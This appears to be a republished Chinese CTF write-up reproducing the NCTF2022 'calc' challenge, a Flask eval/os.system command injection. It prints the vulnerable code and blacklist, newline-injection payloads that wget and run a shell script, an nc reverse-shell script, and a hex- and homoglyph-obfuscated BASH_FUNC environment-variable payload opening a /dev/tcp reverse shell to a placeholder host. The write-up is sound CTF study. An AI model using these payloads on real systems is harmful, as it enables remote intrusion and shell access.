NCTF2022 calc题目复现

article/2025/9/16 7:46:19

calc(环境变量注入getshell)

经典计算器题目,看着有点眼熟,没错,就是buu三月赛的一道题目。由于那时候web可能都算不上入门,所以也就没有复现。比赛时就网上看了看三月赛的wp,但是没有什么用,因为过滤更加严格了,看题目代码:

@app.route("/calc", methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"
def waf(s):blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&','getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess','file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self','item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag = Falseprint(no)breakreturn flag

比赛思路

突破口有两处,eval命令执行以及os.system函数执行代码。网上用的都是利用os.system函数来执行命令的。它执行的是log参数里面的内容,

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)

参数部分可控,接下来我们所要做的就是截断已有命令,让os.system函数去单独执行num中的代码,buu三月赛是用反引号来绕过,因为有反引号会先执行反引号里的代码。但是在这里反引号被过滤掉了,当时测试是可以用换行来绕过的,赛后看师傅们的wp也确实是这样,

当时想着反弹shell,但是没有成功,回头检查一遍发现还需要绕过eval函数,因为我们传入的payload先经过eval函数处理会发生报错,这就导致os.system函数无法执行,buu三月赛是用#把后面代码注释掉,是一个好点子,但是这一题也过滤了。实在想不出还能怎么绕,最后也是放弃了,坐等赛后wp(菜哭)。

非预期解  

网上师傅们的wp全是这一种非预期解法,后来平台好像为了考察预期解又新出一道calc升级版。这个非预期同样也是解决上面那两个问题,num参数单独代码执行,使用换行绕过。满足eval正常执行则是用单引号将我们传入的代码包裹起来,使其成为字符串,这样就不会报错了 ,妙啊。

又因为没有回显,可以wget命令从我们服务器下载恶意sehll脚本,然后在题目中执行。如果题目出网,那么我们可以反弹shell或者将flag文件外带出来,例如我们反弹shell,编写恶意shell脚本:

#!/bin/bash
nc vps port -e /bin/sh

题目中我们传入参数:

num=%0A'wget'%09'http://vps/hack.sh'%0A
num=%0A'bash'%09'hack.sh'%0A

同时vps开启监听,但是赛后测试并没有弹过来,利用curl外带也没有成功,不知道是啥细节上出问题了。最主要的是学习一下这一种思路。

预期解

看了出题人的wp之后,知道他是根据p神的一篇环境变量注入的文章得来的灵感,

我是如何利用环境变量注入执行任意命令 - 跳跳糖

p神的文章对于小白来说还是容易劝退的,C语言基础不是很好的我看底层代码还是有些费劲。下来主要说一下p神这篇文章利用环境变量注入来getshell的思想。

php的system函数在底层调用了popen函数,而最终执行的命令就是sh -c,我们知道sh是一个软连接,它指向bash或者dash,在system函数执行的时候,就会执行sh这个二进制文件,如果我们在sh底层源码中找到可以利用的环境变量,也就可以执行命令。其中能够利用的就是variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量。其中的一段if条件语句判断:

if (privmode == 0 && read_but_dont_execute == 0 && STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&STREQN ("() {", string, 4))

p神也给了其中的解释

这段很重要,也是能否看懂这道题payload的关键。也就是满足这些条件,它会注册一个shell变量并执行。

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

也就这样创建类似匿名函数并执行,就会执行id这个命令。针对本题就说这些,了解更多还得细读p神的文章,能够学到很多。

依据上面的思想我们是否能在python中运用。同样python3中system函数底层代码实现中也调用了/bin/sh -c来执行shell命令,附上官方wp:

NCTF2022 Official Writeup | 小绿草信息安全实验室

同理我们也可以注入环境变量来命令执行。那么在这一题我们怎么注入环境变量,没有直观的putenv函数,只能通过eval来覆盖或者赋值,参考这篇文章:

Python黑魔法-[]绕过空格实现变量覆盖 - Twings

利用for循环来变量覆盖:

还可以用中括号来绕过空格,虽然不知道为什么可以这样,好像是python的特性吧。本地测试一下向os.environ注入新的环境变量:

 

完全可以,这样环境变量覆盖的问题也解决了。在此,我们需要设置的环境变量为:

os.environ['BASH_FUNC_echo%%']='() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}'

当然echo只是一个函数名,设置成什么字母无所谓,我们需要for循环对该环境变量进行注入,且绕过空格,所以进一步的payload为:

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}']]]

剩下的就是绕过黑名单了,在python中,用单双引号包裹的字符串是能够识别十六进制的,所以只需要将敏感字符十六进制编码即可绕过。最后就是怎么绕过os了。这里对于我来说又是一个新的点,python在处理utf-8中的非ascii字符的时候,会被转化成统一的标准格式。

就像官方wp上可以用ᵒ来代替o,这下问题都全部解决了,所以最终payload为:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]

 nss上线了这道题,用该payload试一下

最终也是弹成功了。

结语

这都是在基于system函数执行的条件下(无论是php还是python),底层调用sh二进制文件,我们都可以注入环境变量来rce。换句话说,如果底层调用了sh -c命令的函数执行的话,具有环境变量注入条件,使用这个方法来getshell应该是可以的。这个赛题个人感觉质量很高,能够从中学习到很多知识。


http://chatgpt.dhexx.cn/article/YO8pYfM0.shtml

相关文章

[NCTF2019]SQLi

[NCTF2019]SQLi 进入页面,尝试万能密码登录: 觉得有waf,爆破一下 发现过滤了相当多的可用字符串 另外在robots.txt文件中有提示 再进入hint.txt 看到了黑名单,并且说要让查找admin的密码, 但是admin在黑名单中&am…

BUUCTF:[NCTF2019]phar matches everything

题目地址&#xff1a;https://buuoj.cn/challenges#[NCTF2019]phar%20matches%20everything 源码地址&#xff1a;https://github.com/swfangzhang/My-2019NCTF/tree/master/phar matches everything catchmime.php //catchmime.php <?php class Easytest{protected $tes…

2022NCTF的部分wp及复现

Misc Signin 程序设计实验作业,但是签到题(听zys说建议把终端字体调小一点并且只需要输入一串来自35年前的神秘秘籍 35年前的秘籍&#xff0c;就是魂斗罗的秘籍 上、上、下、下、左、右、左、右、B、A、B、A 就可以得到flag NCTF{VVe1c0m3_T0_NCTF_2022!!!} Web calc 命令…

NCTF2021 Ezsql

好兄弟&#x1f466;发来的题目&#xff0c;&#x1f474;当时没做出来&#xff0c;幸好环境还在 这道题测试一遍后&#xff0c;没什么收获&#xff0c;马后炮先扫描网站目录 发现源码&#xff0c;共有三个文件&#xff1a;config.php、DB.php、login.php 代码审计 config是…

2022 NCTF

MISC 炉边聚会 卡组代码是 Base64 编码的字节串&#xff0c;exp <?php $deckstring "AAEDAZoFKIwGngXIBrwFzgnQBfIHygf0CIgJkAiBogJ1gjMCPIHtgeeBeAD6AfyB7YHvgbgAAD4AO2B7wFkgnMCMwIga2B/QImgi6BJAIiAn2BOIJAAA"; #这是⼀个⾮常有趣的萨满卡组 $binary bas…

NCTF2022-复现

文章目录 NCTF2022-复现比赛题目比赛总结MiscSignin只因因炉边聚会zystegoqrssssssssqrssssssss_revenge 参考&#xff1a; NCTF2022-复现 比赛题目 NCTF2022 比赛总结 本次比赛&#xff0c;web还是一无所获&#xff0c;自己还是差的很多。反观misc&#xff0c;这次比赛六道…

NCTF2022 Web Writeup

1.calc 题目地址&#xff1a;http://116.205.139.166:8001/ 右键 /source 源码 app.route("/calc",methods[GET]) def calc():ip request.remote_addrnum request.values.get("num")log "echo {0}{1}{2}> ./tmp/log.txt".format(time.strf…

NCTF web总结与复现

前言 打完NCTF休息了一下&#xff0c;总体感觉还行&#xff0c;学到了很多。 calc 这一题也卡了我很久&#xff0c;因为复现过DASCTF三月赛&#xff0c;一直在想着有没有可以替代反引号或绕过的方法&#xff0c;搞了好久都没出&#xff0c;在学长的提示下学到了一个方法&…

CNN网络设计

系列文章目录 文章目录 系列文章目录前言一、CNN基本概念二、卷积计算类型其他算子常用激活函数经典轻量化模型 前言 一图胜千言 一、CNN基本概念 感受野指的是卷积神经网络每一层输出的特征图(feature map)上每个像素点映射回输入图像上的区域大小&#xff0c;神经元感受野…

CNN基本结构和经典网络

卷积网络的基本结构 数据输入层/ Input layer 3种常见的图像数据处理方式&#xff1a;一般CNN只用去均值 卷积计算层/ CONV layer 基本概念&#xff1a; depth:与神经元&#xff08;filter&#xff09;个数相等stribezero-padding 卷积宽长深度计算&#xff1a; 激励层(R…

CNN概述

CNN 卷积神经网络简介 特点 将大数据量的图片降维成小数据量有效保留图片特征 应用领域 人脸识别、自动驾驶、无人安防 CNN解决的问题 图像的数据量太大&#xff0c;导致成本很高&#xff0c;效率很低图像在数字化的过程中容易丢失特征&#xff08;其实就对应了两个特点&…

常见CNN网络结构的详解和代码实现

1. AlexNet 论文地址:ImageNet Classification with Deep Convolutional Neural Networks 2012年提出的AlexNet的网络结构为&#xff1a; 结构说明如下&#xff1a; 1.1 ReLu(Rectified Linear Units)激活函数&#xff1a; Relu函数为 r e l u ( x ) m a x { 0 , x } { …

图像分类网络-经典CNN网络简介

在CNN网络结构的演化上&#xff0c;出现过许多优秀的CNN网络&#xff0c;CNN的经典结构始于1998年的LeNet&#xff0c;成于2012年历史性的AlexNet&#xff0c;从此大盛于图像相关领域&#xff0c;主要包括&#xff1a; 发展历史&#xff1a;Lenet --> Alexnet --> ZFnet …

使用PyTorch搭建CNN神经网络

使用pytorch搭建CNN神经网络 卷积运算的基本原理单层卷积运算valid convolutionsame convolution CNN的基本结构数据输入层卷积层池化层全连接层 数据导入的实现构建基础的CNN网络网络的设计损失函数和优化器训练函数和测试函数实现CNN网络的训练和测试 Googlenet的实现网络框架…

CNN(卷积神经网络)概述

过去几年&#xff0c;深度学习&#xff08;Deep learning&#xff09;在解决诸如视觉识别(visual recognition)、语音识别(speech recognition)和自然语言处理(natural language processing)等很多问题方面都表现出非常好的性能。在不同类型的深度神经网络当中&#xff0c;卷积…

CNN卷积网络

CNN卷积神经网络 1.与全连接神经网络的区别 1).总有至少一个卷积层 2).卷积层级之间的神经元是局部连接和权值共享(整张图片在使用同一个卷积核内的参数&#xff0c;卷积核里的值叫做权重&#xff0c;不会因为图像内位置的不同而改变卷积核内的权系数&#xff09;&#xff0…

CNN(卷积神经网络)

一、卷积神经网络 1、CNN的基本知识 1、卷积神经网络(Convolutional Neural Networks&#xff0c;CNN)的作用&#xff1a;1.cnn跟全连接的区别&#xff1a;原来一个输出神经元的计算是跟所有输入层的神经元相连&#xff0c;现在只是局部输入层的神经元相连&#xff1b;同一所…

CNN卷积神经网络

目录 一、BP神经网络回顾 二、CNN卷积神经网络 1、CNN的主要概述 2、CNN的一般结构 三、CNN卷积神经网络的应用 四、常见的CNN卷积神经网络 一、BP神经网络回顾 人工全连接神经网络 &#xff08;1&#xff09;每相邻两层之间的每个神经元之间都是有边相连的 &#xff0…

深度学习----CNN几种常见网络结构及区别

一、 CNN结构演化历史的图二、 AlexNet网络 2.1 ReLU 非线性激活函数 多GPU训练(Training on Multiple GPUs)局部响应归一化(Local Response Normalization)重叠池化(Overlapping Pooling) 2.2 降低过拟合( Reducing Overfitting) 数据增强(Data Augmentation)Dropout 三、VG…

神经网络--从0开始搭建全连接网络和CNN网络

前言&#xff1a; Hello大家好&#xff0c;我是Dream。 今天来学习一下如何从0开始搭建全连接网络和CNN网络&#xff0c;并通过实验简单对比一下两种神经网络的不同之处&#xff0c;本文目录较长&#xff0c;可以根据需要自动选取要看的内容~ 本文目录&#xff1a; 一、搭建4层…